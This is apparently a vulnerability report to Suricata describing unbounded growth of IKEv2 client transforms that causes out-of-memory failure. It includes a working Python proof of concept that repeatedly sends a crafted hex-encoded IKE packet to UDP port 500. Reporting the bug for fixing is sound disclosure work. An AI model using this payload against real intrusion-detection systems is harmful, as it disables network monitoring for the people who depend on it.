Suricata

The line state.ikev2_container.client_transforms.push(transforms); in ikev2.rs just keeps increasing without bounds

POC is simply just sending the same UDP packet over and over again even if there is no server

import socket
import binascii
import time

server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_socket.bind(('', 3268))

ike = binascii.unhexlify("61d3693ce12af52800000000000000002820220800000000000000f02200001c312fd2e1cea72d0f7f3d1ccac96bb0c4c8d70f39dba193e42100008800020000b0c808b9480d4d4ae92c0e8f115d9338d4d0bb8361cfd19562ee5e2444b7f67137e472b2aa9b4455bafc4abadd89daa86e0583ffd2abb28933faa3fabf3ee84430c05afeb9652fc9befd377dd9d10001cd656eb617ba3ba39d0346f91a063bba6d186a3f20188ca0e8e4b79e3e912f13d309a8d655501592f742e408fda88ddc000000300000002c010100040300000c0100000c800e01000300000802000005030000080300000c0000000804000002")

for i in range(1024):
    a = server_socket.sendto(ike, ("127.0.0.1", 500))
    time.sleep(0.1)

sock.close()

CRITICAL like https://redmine.openinfosecfoundation.org/issues/8182 : OOM from UDP protocol